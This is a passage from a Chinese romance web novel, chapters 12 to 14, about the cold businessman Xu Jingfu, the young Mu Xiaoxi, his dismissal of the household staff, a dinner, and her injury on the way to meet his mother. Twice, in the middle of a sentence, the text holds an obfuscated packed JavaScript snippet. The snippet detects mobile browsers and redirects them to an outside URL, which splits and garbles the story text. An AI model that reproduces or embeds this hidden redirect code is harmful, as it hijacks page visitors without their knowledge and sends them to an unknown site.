之所以不住家,也是因为徐敬孚不喜欢家里有外人,平时两个保姆除了干活时间基本上不在室内,通常是在院子里面坐着,或者去外面公园里,没事的时候也允许回她们宿舍。 这还是第一次,王阿姨在非早上的时间来她屋里。 门是反锁的,于是她亲自去开了门:“阿姨,怎么了?” 王阿姨长得圆圆胖胖,开朗笑的时候像福娃,北方人,性格也比较爽朗,和石兰有些像,两个阿姨中木晓晞更喜欢她一些。 “我可以进来说吗?” “可以。” 王阿姨把门关上,先是有些拘谨尴尬地笑了笑,然后开门见山:“木小姐,是这样,能不能请你跟老板求个情。” 木晓晞愣了下:“求情?” “是。”王阿姨苦笑,“陈秘书……陈秘书刚刚跟我和李姐两个人说,让我们做了今天就不要来了,问原因,也说没有原因,只说是老板的意思。” “……” “我知道不应该让你帮我们去说话,但是……没有原因就……我们也不知道是哪里没有做好,如果是做得有问题的地方,我们一定会及时改正。” 木晓晞听明白了,是徐敬孚要辞退她们,但她不明白她为什么会来求自己,毕竟她跟徐敬孚也并不熟悉。 “如果非要辞退,可不可以只辞退我一个,李姐她没有做错什么事,她每天基本上没有闲过,木小姐你也看到了,她做饭也很用心,如果是口味问题的话……”眼看着王阿姨眼睛就要红了。 “别急。”木晓晞按住王阿姨的肩膀,“慢慢说。” 王阿姨擦了擦眼睛:“我知道我来跟你这样说不合适,哎……但你也知道,我们只是来打工的,也是拖小秀的福我们才能在徐老板这里干,徐老板为人大方,确实工资也开得不少,我们都很感恩……” 木晓晞有些糊涂:“如果……如果是徐叔叔的决定,我想我也没办法干涉……” 她什么身份,有什么资格。 王阿姨欲言又止,只说:“李姐家很困难,她很需要这份工作。” 说完这话后王阿姨就没再说什么了,擦了眼泪,平息了下情绪后小声和她说:“对不起,打扰你了木小姐,老板刚刚让我上来问你是要在家里吃还是去外面吃,如果在家里吃的话,我们现在就去做饭。” 木晓晞现在并没有胃口,最近食欲不好,晚上她都不怎么吃饭。 “我……” 正要说,她放在卫生间的手机响了。她连忙去拿过来,一看,是徐敬孚。 她看了眼王阿姨,接起来。 “十分钟内收拾好下来,出去吃饭。” 接着不等她的回答,便挂了。 她有些尴尬地跟王阿姨说:“那个,阿姨,徐叔叔说出去吃。” 因为徐敬孚给她规定好了时间,所以她也没有再拖拉,转身去卫生间梳头去了。等她收拾好出来以后,王阿姨已经不在屋里了。 她原地站了会儿,深呼吸了一次,再慢慢地吐出气。给自己反复打了打气后,她从门口挂钩上拿了一个小小的斜挎包,用来装手机和纸巾。 下楼后,她没在一楼看到徐敬孚,而是看到陈遇和两个阿姨正在厨房岛台边说着话。 见她下来了,陈遇跟她指了指外面,意思是徐敬孚在外面等她。 她点点头,然后扫了一眼两个阿姨,两人的眼睛都红红的,而陈遇则一反平日里在她面前和煦的姿态,嘴角耷拉着:“这件事不要指望李秀,她自己能不能干下去都不好说,凭良心说话,你们的待遇已经不算差……” 木晓晞不敢多听,快步离开了别墅。 出来后并没有看到徐敬孚,只有院门开着,她四处张望一番没在院子里找到人后,便往院门外走去,外头的日光已经快要落尽,只剩一线的天边红光从正对面那片高大的树林之后透出来。 这栋别墅的位置处于别墅区的最东边,院前被住宅区公园里的高大树林遮挡,院后被自己种的那片枫林木棉荫蔽,一侧是公园内的绿化带和景观假山,另一侧边则刚好隔着一条环路——这栋别墅刚好就是环路的尽头。 即使是最近的一栋别墅,也离得老远,远远看去,孤零零的一栋,格外清幽寂静。 别的不说,倒是很符合徐敬孚对隐私的需求了。 车还停在大门口,而人……木晓晞有一点夜盲,光线一暗就有一点看不太清楚,隐约看到树林的方向有个人,但看不清是谁,她使劲地眨眨眼边往前走边看,走得快要靠近时,她看到那个人动了一下,转身过来。 比眼睛先识别出来的,是她敏感的鼻子。 隔着这么三四米,她依然闻到了。 木晓晞:“……” 徐敬孚看到她后面几步走得有点慢,看了下手里的烟,随手便将烟头按灭在了旁边的垃圾桶顶部:“走吧。” 说着便一手揣进裤兜里,踏上了林间那条石板路。 没想到不开车出去。 木晓晞只好跟在他后面,跟着他走,虽说已经在这个地方生活了一个礼拜,但这还是她第一次离开院子到外面来。哪里都不熟悉,不认识。 徐敬孚走得并不快,像是在散步,木晓晞很快就走到了离他很近的位置,不过她总是刻意慢半拍和他保持距离。徐敬孚也并不在意,从一只手揣兜到两只手揣兜,他一边走一边看着四周的景色,像是在欣赏着这许久没有认真观赏过的风光。 路边的灯光也打开了,蝉鸣蛙声此起彼伏,小孩子们也吃好了晚饭出来活动了。 木晓晞原本心里也有些紧绷,不过随着他一路走一路看,自然静谧的风景,虫鸟啼鸣,孩子们的欢声笑语还有其他住户散步聊天的氛围让她放松了不少。 这片住宅区很大,走出去也花了有十四五分钟。 很快,他们来到一片内部商业区内,进了一家比较小的看起来很普通的炒菜馆。正是饭点,菜馆里人很多,只剩两桌空位,一桌大一些,在大堂中央位置,另一桌离厨房近离但其他桌比较远。毫不意外,他选了离厨房近的那一桌。 “欢迎光临,徐老板来吃饭了啊,吃点什么?”厨师也是老板很热情地过来,一边给他们倒水,一边将菜单递给他们。 “第一次来吗小姑娘?”老板对着木晓晞笑,“口味怎么样?我们家有点辣哦?” 木晓晞看了看菜单,果不其然看到上面红彤彤的一片,是个很传统的重庆菜馆。 她不怕辣,她只是有点意外。 “吃辣吗?”徐敬孚提着水壶给自己的杯子里倒了开水,然后又将开水倒进碗里。老板早熟悉他的规矩,来的时候专门带了一个汤盆让他倒水。 洗了自己的碗以后,他又把木晓晞的碗筷拿过去边冲边说:“我记得你小时候吃。” 小时候。 木晓晞忍不住抬起眼,她看到他把她的碗筷挨着冲好,用纸巾再擦干,最后摆好还给她。 “不吃辣的话,也有不辣的。”徐敬孚问老板,“有不辣的吧?” 老板笑:“当然有啊,我是厨子哎,不放辣子不就行了,带小朋友来吃饭啊?” 老板看起来都五十多了,叫声小朋友也正常。 徐敬孚看了眼木晓晞:“你点,三菜一汤。” 木晓晞:“……” “我们这不辣的菜的话,有这个玉米鸡丁,炒素菜基本都不辣,还有这个……这个……”老板一边指着菜单给她介绍,一边跟徐敬孚搭话,“这小姑娘谁啊?不是你女儿吧?我记得你没结婚吧?” 木晓晞拿笔勾菜单的时候,差点把桌上的水杯碰倒。 徐敬孚伸手把她面前的水杯拿走,放到桌子中央,跟着笑了笑:“我要有这么大的女儿,肯定说给你的状元儿子。” 老板的儿子今年高考,分数刚出来不久,考了清华。 一听这话,老板那张赘肉横生的脸上霎时笑开了花:“徐老板公务繁忙,还知道这些。” “陈遇说你打了半个月的六折。” “晓得了晓得了,今天也给你六折嘛,大老板也是的,这个钱都要抠我的,给你打给你打。”老板笑得哈哈的,“要不要充个卡,充一千得一千二,冲两千得两千五,再给打六折,折上折,划得着,随时来吃。” 徐敬孚摆了下手,问木晓晞:“点完了?” 木晓晞根本没点,刚刚一直在看他和老板聊天,突然被问到,她就随手勾了几个不出错的菜。她跟木钧经常出去应酬,大致也知道该怎么点菜。 徐敬孚拿过她点的菜单又看了一眼,让老板再加了一份炸酥肉。 等老板走了,他才收起笑容来,端起杯子喝水。 木晓晞第一次看到他这样收放自如的“演技”,一时还有点回不过神。也许是这段时间的接触以来徐敬孚这个人给她留下的印象太差了,也可能是他对着她也一直没有过什么好脸色,所以她一直以为徐敬孚这个人应该是像冷冰冰的机器人一样不苟言笑,不善言谈。 可刚刚那一会儿和老板的交谈,却打破了她的这个印象。不仅能说能笑,糊弄问题,还会不露痕迹地捧场。 “以后点菜,不用省钱,想吃什么就点什么。”徐敬孚说。 “……” “你点的那几个菜,很便宜。” 木晓晞抿着嘴,为自己辩解:“我点的是喜欢吃的。” “你喜欢吃的好像都很便宜。” “……”木晓晞捏了捏手。 “陈遇打给你的钱不够?” 对于一个学生来说,一个月两万,已经是巨额。 她不喜欢徐敬孚这样的语气,让她很不舒服。她低着头看手,不想再接话。 徐敬孚:“不够的话,可以再加,再加两万怎么样。” 木晓晞深吸一口气:“谢谢徐叔叔,不用了……我就是喜欢吃便宜的,便宜又好吃,经济又实惠,为什么不能喜欢?” 徐敬孚往后靠了靠,双手交握在一起。 “听说你最近一直没有出门。” “……” 徐敬孚看着她一直低着头,一副毫无反应的样子。刚刚流露出的那一丁点小情绪昙花一现般,很快又被隐藏了下去。 “我会把两个保姆换掉,李秀……她也不会再来了。” 听到这里,木晓晞的眼睛总算往起来抬了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200751|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。 徐敬孚:“想知道为什么吗?” 木晓晞有一点猜测,她抿着嘴:“因为……我?” 徐敬孚问她:“因为你什么?” 木晓晞想到第一天过来时,她跟李秀说过的话,她说“我不是一个会在婚姻续存阶段就去和其他男性有过多交往的人”。当时李秀的震惊和失落她都看在眼里,她这才知道,徐敬孚没有告诉其他人他们之间的关系,哪怕是李秀,李秀一直以为她是徐敬孚的养女,难怪对她那样热情。 李秀又是什么身份呢? 也许王阿姨和李阿姨也知道了这件事,所以才无论被她提出多少次可以叫她的名字,她们都依然叫她木小姐。他们不是尊重她,是不敢逾越。如果她真的是徐敬孚的女人,叫名字的话显然不合适。 想到这里,她就感到一股强烈的羞耻。 “在你之前,我考虑过李秀。”徐敬孚也并不隐瞒,“比起你,她是一个更合适的人选,聪明,识相,漂亮,有野心,心理素质也不错。” 木晓晞感到胸口憋闷。 刚好服务员来上菜了:“笋片炒肉,炒三鲜,小酥肉,米饭……小炒鸡和番茄鸡蛋汤等会儿来。” 等服务员走了,徐敬孚很自然地将她的碗拿过来,给她盛了满满一碗米饭,继续说:“我不喜欢把事情搞得太复杂,拿我的钱给我做事,清清楚楚,因为我不想花费时间去考虑这些琐事所以才找了她,而她把事情变得更麻烦。” 木晓晞:“您辞退她了?” “有这个打算。” “她犯什么错了?还有两个阿姨,她们做错什么了?要辞退?” “……” “就因为我跟她们说了……”木晓晞感到很强烈的负罪感,“是因为她们知道我们的关系了,所以您要炒掉她们?” 徐敬孚吃了口菜,慢慢地嚼。 “是我主动说的。”她顿了顿,“是我自己说的,我不知道您没跟她们讲……我以为……” “你以为我已经把你昭告天下了?”徐敬孚吃了两口,也没什么胃口了,“李秀没告诉你吗,第三层房子我是为我的养女准备的。” 他看到女孩儿一下瞪大了眼,一副难以置信的样子,他垂下眼很是嘲弄地勾了勾嘴角:“所以那份合约你后来也根本没看,对吧?” 没有看。不愿看。也不敢看。 那份合约拿回去后,她就塞到了行李箱的夹层里封锁了起来,再没拿出来过。 徐敬孚放下筷子,不太想再说什么了,只道:“你的同情心如果能用在正确的地方,我想你的人生不会是现在这个样子。” 木晓晞也有些恼火:“徐叔叔有话直说。” “那两个保姆找你哭过了?” “……” “李秀利用职务之便,找了两个她自己的熟人,每个月从保姆工资中抽成的费用不低于工资的20%,同时她还兼顾徐董事的耳朵,把你说的话转头就卖给了对方,这就是为什么我要炒掉她们的原因。”徐敬孚问,“听得懂吗?” 木晓晞张了下嘴。 “这些事,我一直睁一只眼闭一只眼,因为李香榕家里的儿子患癌,王俊丽也一个人养她全家。” “……” “你好像很惊讶。”徐敬孚抽了张纸,擦了下嘴,“怎么,没想到我竟然是个好人?” 木晓晞震惊地眼睛瞪得圆圆的,一双杏眼,单纯晶莹得像纤尘不染的玉石。 “我原本打算,那是最后一次给你机会。” “什么……”木晓晞感觉自己好像有点抓到了什么,“什么机会?” 徐敬孚没有回答她。 “什么机会。”她再问。 徐敬孚像是有意要吊着她的胃口,拿出手机翻看:“你猜。” 木晓晞看着他似笑非笑的表情,忽然想到了那份她没看的合约。想到两人的争吵,想到上次挨的那一耳光,想到李秀的反应…… 所以是……什么意思?那份她随手签下却没有看内容的合同里到底写了什么?什么叫再给她一次机会?什么叫第三层房子是他的养女准备的?到底……到底是…… 【你可以做我的女儿。】 想了许久之后,木晓晞突然瞪圆了眼。 她猛地抬起头来。 而就在这时,正在对面翻看手机的徐敬孚也不知道翻到了什么,他忽然脸色突变,紧紧闭上了眼,放在桌上的拳头猛地捏紧,捏着手机的手青筋暴起,仿佛下一秒就要把手机砸出去。 木晓晞不知道发生了什么,一时有些不知所措。 场景好似回到了那一天在他的办公室,那个烟灰缸砸落在地的声音至今在回响在她的耳边。 “你爸。” 她爸? 只见男人咬着腮帮子,脖子上的血管一瞬间都冒了起来,像是在强忍着什么,木晓晞看见他闭眼了好一会儿,放在桌上的拳头慢慢松开,手机倒在了桌上。 “木钧刚刚去疗养院拜访了我的母亲。”徐敬孚睁开眼,用一种说不出的与先前截然不同的表情看着她,像是有恨,又像是有厌恶,还像是愤怒,像嘲讽,也像……同情。 她的心忽然砰砰跳了起来,有种不受控的慌乱。 “徐叔叔……” “……呵。” 没想到木钧的胆子那么大,竟然能厚颜无耻到这种地步。这些日子徐敬孚让人去处理木钧那边的债务问题,明面上是给钱还债,实际上则是打算联合其他债主寻找机会把人一举送到监狱里去,结果木钧不知道从哪里得到了消息,逃掉了那边的围捕,只身跑到了他们这边来,而且找到了机会趁着徐休不在的时候寻到了在度假山庄疗养的徐家老夫人的头上。 才离去不久的徐休刚刚给他发来信息,说:【亲家来访,你妈知道了你的事,让你把未婚妻带来见一面。】 “你没有机会了。” 13. 第 13 章 (十三) “亲家母,不客气不客气,您躺下就是。”木钧连忙扶着徐夫人躺下,“哎呀,躺下说也是一样的,不客气,都是亲家了,不搞这些形式……” 徐休在一旁拿着水果刀,看着木钧虚伪的动作,神情冰冷。幸亏于珍这两年病情加重加上年纪大了,眼疾并发症已经影响到了视力,看不清东西,否则的话她一定会感到很害怕,多年来对她温柔贴心的丈夫竟然以这样一幅姿态去对待重要客人。 “哎,你看我也是老了,一身病,亲家公来了,我也没法招呼,就只能一直这样躺着,真是太失礼了,你莫见怪。”于珍脑子不糊涂的时候是个很重礼数的人,她依然坚持让护工拿来枕头垫在她的背后,“阿休,阿休,你切的橙子呢?水倒了没有?我记得柜子里还有上次表妹带来的干果,你去拿来……真是太突然了,我们也是刚来这边住没多久,这儿什么也没有,实在对不住啊亲家公,委屈你了。” 护工给于珍垫好枕头扶她坐好后,看到徐休的手势,会意地去拿东西了。 “哎呀,我不渴,您真是太客气了亲家母,我才是,来的时候太匆忙,也没带什么好东西,只有拿了一些当地特产,你们留着吃一吃看一看……” 木钧坐在床边的椅子上,一脸亲和地和徐老夫人你来我往地寒暄,木钧很善谈,一张嘴很会哄人高兴,比徐休这个三句话打不出去一个屁的强了百倍,没一会儿就把徐老夫人哄得笑呵呵的。 徐休站在不远处,拿着刀靠在柜子边,一手拿个橙子,也不切,就是一动不动冷冰冰地盯着木钧,好像只要木钧做出一丁点不合时宜的举动,他就能把那把刀插进对方的脑颗里。 前阵子于珍病情恶化,在医院治疗了接近半年,最近稍微稳定一点后就很不愿意住医院,说到处死气沉沉,也不愿意住别墅,说太安静,于是就住到了阅岭集团旗下的一处温泉度假山庄来。最近学生放了暑假,度假山庄早就住满,到处都是年轻人和小孩子,看着是很热闹。 徐休这两三年,几乎是处在完全退休的状态中,平日里一直陪着于珍,尤其是最近一两个月,走哪都是形影不离,唯独今天下午出去了那么一会儿,单独见了徐敬孚一次,结果回来时就出了这种事。 没人知道木钧是怎么找到这里的,他找到人的时候,于珍正在山庄里的露营基地那里,两个护工陪在轮椅两侧,木钧则坐在一旁很是儒雅地与她交谈。 亲家? 如果不是于珍在,他应该已经直接叫保镖把人打一顿扔出去了。 “是,是,哈哈……我也没想到……谁知道能有这样的缘分,您说当父母的哪有不希望儿女好的,我就这么一个女儿,肯定是很看重的……” 木钧说着,连忙给笑得有些发咳的于珍端了杯水。 “亲家母不要太激动,喝点水……哎呀,做父母的这颗心都是一样的,您说是吧? ” “那是,来见见是对的,我这妈当得也是不合格,连这事都不知道,没办法,乔儿这孩子太有自己的想法了。” “年轻人嘛,都是这样的,我也才知道不久。” 两人又一阵笑。 于珍笑罢了,问徐休:“阿休,你和乔儿说了没?他怎么讲?木家小姑娘……” 徐休这才拿出手机看了眼,依然没有回信。 “可能有事没看到,还没回,我出去给他打个电话。”徐休给一边的两个护工使了个眼色,然后跟门口的保镖做了个手势,让他们进去。 后面传来于珍的温柔的笑声:“这么晚了还没吃晚饭,一会儿一起吃个饭呀亲家公。” 徐敬孚接到徐休电话时,人已经坐在车里了,木晓晞正准备上车。徐敬孚没有立马接通,而是指了指副驾驶让她坐这边,木晓晞拉了拉肩膀上的挎包带子:“我,一定要去吗?” “你觉得呢?” “……”木晓晞的头埋得低低的,抓着白裙子的手有些发抖。刚刚上楼去重新换了一身衣服,因为徐敬孚说要穿点能拿得出手的去见老太太。 老太太,也徐董事的妻子,徐敬孚的母亲。 没想到会突然进展到这里,一个多小时前刚见了徐敬孚的父亲,现在又要见他的母亲。还有……木钧。 “上来。” 木晓晞还是坐了上去,关上门。 “安全带系上。” 木钧怎么突然过来了?这么长时间都没有联系,他……对了,她把木钧他们都拉黑了。 “安全带。” 徐敬孚看到木晓晞两只手握在一起不停地打架,一副紧张到出神的模样,他吸了口气,挂了徐休的电话后附过身去。 木晓晞被突然靠近的男人吓得一下子睁圆了眼睛。 “咔哒。”徐敬孚给她系好安全带,回到自己的座位上,打着方向盘发动了车开上了路,然后给刚刚回去的陈遇打了电话,接了蓝牙。 “钱成滨,你找人去查查他最近的财务情况,家庭情况,最近在公司的人际关系,以及看看他那里最近有没有发生什么事。” 刚进入下班状态的陈遇也正在开车,猛不丁听到这个话,愣了一下:“查钱经理?” 钱成滨当初只是一个普通的财务,但因和徐敬孚一路“打江山”站对了队且深受信任,如今已是一个小子公司的副总,这一次木钧的事徐敬孚很重视,所以才给他批了假特别交代他去单独处理木钧的问题。 “木钧一个隔着千里的外人,找到了我妈那里,刚刚徐董打来电话,说人已经在那里一个小时了。” “老太太?他怎么找到的?”徐董他们不是最近才搬到度假山庄的吗?刚说完,陈遇便皱起了眉,“钱经理?那老太太那里……” 一个欠了一个亿的赌徒,找到了徐老太太。 “徐董在。” 徐敬孚又交代了几个人,让陈遇一并查清楚。另外还说了几个人的名字,说是让他们明天来办公室,要开个会。 之后他边开车边打了好几个电话,说得全是一些木晓晞听不懂的东西,一路没停过。 直到车都开出去了近二十分钟,他才又拨通了一个电话。 “徐董。” 木晓晞偏了下头。徐董?徐敬孚的爸爸? “在哪?”徐休的声音传来。 “二十分钟到。” “木晓晞呢?” 木晓晞抓住裙子,低着头。 “车上。” “木钧来,她不知道?” 徐敬孚斜着眼扫了她一眼:“应该是不知道。” 那一头的呼吸声粗重,像是被气得不轻:“……你搞出来的烂摊子,你看你怎么收!” 说罢挂了电话。 木晓晞一路下来快将自己的裙子撕烂,徐敬孚的脸色也极差,很快车就开进了一个市郊区的度假山庄内,一路绕行,到了停车场,徐敬孚直接下车,将车钥匙丢给前来接车的保镖。 他走得比较快,木晓晞跟在他后面必须小跑着才能跟上,他们走的那条石板小路上的小石子很多,天又黑,木晓晞看不清楚脚下好几次都差点崴了脚。 “叔叔……”她小声喊了两声,徐敬孚并没有听到,很快就甩下她接近十米。 这个度假山庄内部就很大,刚好于珍住的那一栋独栋是进不了大车的,只能走过去或者坐电瓶车。 然而徐敬孚似乎很着急,走得更是快,有一段路他为了少走几步,直接上了草坪,而草坪那一片今天刚浇了水,土还是湿的,木晓晞跟上去第一脚踩到草坪边上的石头坎儿上时一不小心就踩滑了,整个人直接摔在地上,膝盖直接顶在石头牙棱角上,凉鞋带也一下绷断了一根。 她痛得叫了一声,这才将前面只顾着往前冲的徐敬孚给叫住了。 他回头一看,木晓晞整个人趴在地上,正撑着手臂往起来爬。他一下停住了,连忙几大步走回来。 这一下着实摔得有点痛,生理性的眼泪一下不受控地往出涌,膝盖痛,手臂也痛,白裙子更是脏得到处都是泥水。她有些不知所措,连忙从包里翻出纸巾包来擦衣服上的泥水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200752|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>怎么办?弄脏了,一会儿怎么见人? “疼吗?”徐敬孚按住她慌张的手,“哪里摔到了?” 木晓晞的手有些抖,眼泪也在眼眶里,但她尽量让自己保持镇定:“我衣服,衣服……我不是故意的,我刚刚不小心滑倒了,有点看不清……” 徐敬孚一把搂住她的腰将她抱起来,将她带到路边的石头墩子上坐下,蹲下来查看她的腿。 只见膝盖一大片血红,小腿也有摔出了一长条血痕。他又拉过她的两条手臂查看,右手的手腕处也被擦伤了一小片,也有些出血。 “对不起,我……我刚刚没看清,我……”木晓晞的声音听着还比较镇定,但手不知道怎么一直在抖,哪怕是被徐敬孚握着手腕,手指也在微微发颤。 徐敬孚抬头看她的脸,昏暗的灯光下,嘴唇都疼得有些发白了。 “你走得太快了,我有点赶不上,所以刚刚跑了一下,但这里有水,我的凉鞋不防滑,所以……” 徐敬孚盯着她甚至开始有点发抖的下巴,发抖的下巴带得声音也有点抖了起来。 “还能走吗?”他打断道。 木晓晞闻言,立马往起来站,结果刚站起来迈出一步,腿疼得整个人直接往地上掉,徐敬孚提住她的胳膊将她稳住:“你要背还是要抱?” 问完,也不等她的回应,便直接将她抱了起来:“前面就到了,屋里有急救箱,疼的话先忍一忍。” 木晓晞被他抱着,整个人都是僵的,手不知道往哪里放,她慌道:“叔叔,不,你放我下来,我可以走,我自己走就可以。” 她像条鱼一样挣扎着要下来,徐敬孚差点没抱住把她再摔了,只好把她放下来。 “我没事,真的没事,我可以走。”木晓晞反复地说,然后指着不远处那几栋亮着灯的别墅,“就那边吗?很近的,我可以走过去。” 徐敬孚看着她狼狈地逞能的样子,好一会儿没说出话来。 “我没事的,不怎么疼,就是衣服脏了……”她又拿了两张纸出来使劲地擦白裙上的泥水痕迹。 她膝盖那一片掉了皮的地方逐渐浸出血,把白裙也染上了星星点点的红色。 她“哎呀”一声,又慌忙拿纸掀开裙摆去擦膝盖:“怎么办……” 她一遍一遍地擦着衣服上的污浊,眼泪一颗一颗垂直地掉在地上,但她顾不得管,似乎比起疼痛,她更在乎自己衣服上的泥点血污。 恍然间,一个小女孩的模样出现在了徐敬孚的眼前。 【叔叔,你的手怎么了?怎么有疤呀?受伤了吗?怎么受伤的呀?】 【干活受伤?怎么这么不小心啊?这看着好疼。】 【我也不想哭,但是好大的伤口啊,我觉得你肯定好疼啊。】 【骗人,我也受过伤的,受伤就是很疼的。我被指甲剪剪到手,那么一点点伤口我都疼得哭了好久好久,我可怕疼了。】 “疼得厉害吗?”徐敬孚问她。 【我要是有这么大的伤口,我肯定哭得要死掉了。】 木晓晞不停地低着脑袋摇头:“不疼,没事的。” 【你肯定也很疼吧,你疼的话会哭吗?】 徐敬孚看着她吸了吸鼻子,努力地把眼泪憋回去,又抽了一张纸擦手上的泥水。 疼又能怎么样?哭就能不疼吗? 【不能。】 那不就是了。 【呼……呼……】小女孩拉住他的手给吹了吹,【疼了吹吹会好一点。】 并没有。 小女孩仰着头看他,把他的手拉到自己的脸上贴着,蹭了蹭:【可是,那样的话你的心就会没那么疼了。】 徐敬孚拿出手机拨了两个电话,一个是打给前台,让客房部准备一套M号的工作服和一个急救箱,然后又打电话给徐休:“木晓晞在别墅区前面水池这片地方摔了,我先带她去行政楼处理一下。” 挂了电话之后,他直接把木晓晞抱了起来,在木晓晞挣扎之前,他说:“不要动,你穿的是裙子。” 14. 第 14 章 (十四) 木晓晞从小到大都不怎么爱哭,也没怎么哭过,她有记忆以来,就没见过自己的几滴眼泪。然而最近这一个多月,她却像漏水的水龙头,明明已经很用力地拧到了头,却总是莫名其妙地掉眼泪。 很多时候连她自己都不知道为什么会掉眼泪,有时一觉睡起来枕头边就是湿的,有时正在看书脸上痒痒的,一摸竟是湿漉漉的,有时洗着澡,总感觉看什么都模糊,还有的时候就像现在,只是稍微磕着碰着,就会有水从眼睛里冒出来。 她不认为这就是眼泪,可从眼睛里出来的东西,那不叫眼泪又该叫什么? 徐敬孚跟这个酒店的行政前台好像很熟,人家见了他都纷纷行礼:“徐总。” “把东西拿过来,再拿盆水……你,跟过来。”他随手点了个年轻女服务生,接着便抱着木晓晞来到了一个办公室里。 他把手臂上这坨硬得像雕塑的石头放到沙发上,跟服务生说:“帮她处理一下伤口。” 年轻女服务生明显很紧张,她看起来没比木晓晞大多少:“不,不太会。” “不会?”徐敬孚扫了正推门进来的大堂经理一眼,冷冷道,“她说她不会包扎伤口。” 大堂经理姓孙,是一名三十来岁形象不错的男士,闻言连忙蹲下来:“我会,我来。” 徐敬孚把他拉起来:“出去,叫个会的过来,女的。” 说罢,又看了眼那个年轻女服务生,说:“以后不用再来上班了。” 话音落下,女服务生一下就慌了:“我,我……你凭什么……” 孙经理连忙拉了下她:“快出去。” “凭什么?”徐敬孚又看了看孙经理,“你说凭什么?” 孙经理脸都白了。 “我们酒店的急救培训内容中包含哪些必须掌握的技能,你说说看?”徐敬孚亲自蹲下来,接过刚进来的服务生递过来的生理盐水,拿了一个空盆子放在木晓晞脚下,让她踩进去。 木晓晞生怕他的手碰到自己,躲了好几下,试图拿他手里的盐水:“我自己来叔叔。” 孙经理白着一张脸:“心肺复苏,AED使用,海姆立克急救法,烧烫伤处理,还有……伤口止血包扎。” 徐敬孚说:“你会几样。” “都,都会。” 徐敬孚冷笑一声,打开瓶盖,把木晓晞的腿按住,对着膝盖的伤口冲了下去,直到一大瓶都冲完,又拿了一瓶过来冲洗小腿和她的手腕。 “你最好是都会。”他继续处理,“盐水是会有点痛,以这个伤口的程度不处理好后面会化脓……推个轮椅过来。”中间那句是跟木晓晞解释的。 木晓晞的腿一直试图挣扎,不过没他的力气大,他一手强硬地握着她的脚腕将腿按在盆子里,一边接过旁边人递过来的棉花和碘伏。 从冲洗到上碘伏,再到上药,贴好敷料,包扎,像是在给他们做示范,每一步都处理得很专业。 幸亏伤口并不深,仅仅是擦伤面积大看起来严重。但即便如此,疼痛也使得右腿在上药的过程中一直忍不住地躲避。 直到全部处理好,他才起身,叫人拿了毛巾过来递给木晓晞:“能自己擦吗?” “能。”木晓晞飞快地点头。 另一个女服务生拿了备用工作服过来。 “你帮她换一下。”他跟后面进来的那个女服务生说,然后瞥了眼孙经理以及那个已经开始默默流泪的女服务生,“出来。” 等他们都出去了,木晓晞才勉强露出来了一点痛苦的表情,膝盖的伤口是不深,但无论是关节的肿痛还是皮肉的疼痛都让她难以忍受:“呼……” 后面过来的这个女服务生小心翼翼地问她:“疼得厉害吗?” 木晓晞想说不疼,女服务生一脸感同身受的模样:“肯定很疼,我之前也这样摔到过……我帮你擦一下腿。” “我自己来就可以。”木晓晞说。 “我来吧,我尽量不碰伤口。”女服务生麻利地拧了毛巾,一点点地给她擦腿上的泥水。 木晓晞很不自在,她长到这么大,没有谁这么伺候过她,就擦了那么几下她就已经说了两次:“我自己擦。” 偏偏这个女服务生跟徐敬孚是一样的人,看起来不吭不响,但行动很强硬:“你都受伤了,好好休息。” 木晓晞感觉自己俩眼睛里的水龙头又有点要往外漏的趋势,不过她还是拧住了。 擦完身上脏的部分,女服务生又扶她慢慢站起来,帮她换衣服。 换衣服的时候木晓晞才感受到胳膊肘也摔了,虽然看起来好像没有伤口,只有一点发红,但关节却感觉很僵硬,肩膀那里也是,抬手都会痛。摔倒的时候是向右侧摔,她还撑了一下地面,可能那一下把关节也摔得有点发炎了。 拿来的衣服不大不小,刚刚好,只是她稍微有点瘦,穿起来有些松。 女服务生把轮椅推过来,说要扶她坐下。 “不用了,我可以走的,已经好多了,没那么疼,没伤到骨头。”她连忙拒绝,“不用这么夸张。” 女服务生劝她坐着,这样会好一点,但她还是拒绝。 这时有人敲了敲门,徐敬孚的声音从门外传来:“坐轮椅。” 听到他不容置疑的声音,木晓晞一僵,顺势便被女服务生按在了轮椅上。 打开门后,她看到徐敬孚就站在门口,对方的目光先是在她脸上逡巡了一圈,然后又投向了她的腿,看了几秒,然后过来从女服务生手里接过了轮椅,将她推了出去。 他没让服务生帮忙,也没让他们跟着,就自己推着她重新走上了那条通往深处别墅的昏暗夜路。 因为要推轮椅,所以不能走到处都是小石子的近路,反而要绕着池塘边的大路走。 夜风从池塘边吹过,吹来了池水中潮湿的植物清香,今晚天气不错,能看到零星几颗星星缀在对面暗沉的山顶上空,一闪一躲地玩捉迷藏。 木晓晞的手紧紧抓着扶手,肩膀紧绷地耸着。 徐敬孚从后面看着她一动不动的头顶,看到她僵硬的脖颈后背,他放慢了脚步:“还是疼?” “……” 他看到木晓晞吸了好几次气。 “不疼。”木晓晞说。 意料之中的答案。他无声地笑了笑,抬眼看着不远处那栋亮灯的别墅,还有一百多米就到了。 刚刚徐休打来电话,说于珍提议“一家人”一起吃个饭。 一家人。 他又弯着嘴角笑了下,低头看着木晓晞那颗一丝晃动都没有的头,因为那一摔,她的马尾也有一点散乱了。他停下来,让轮椅停在路边的椅子边。 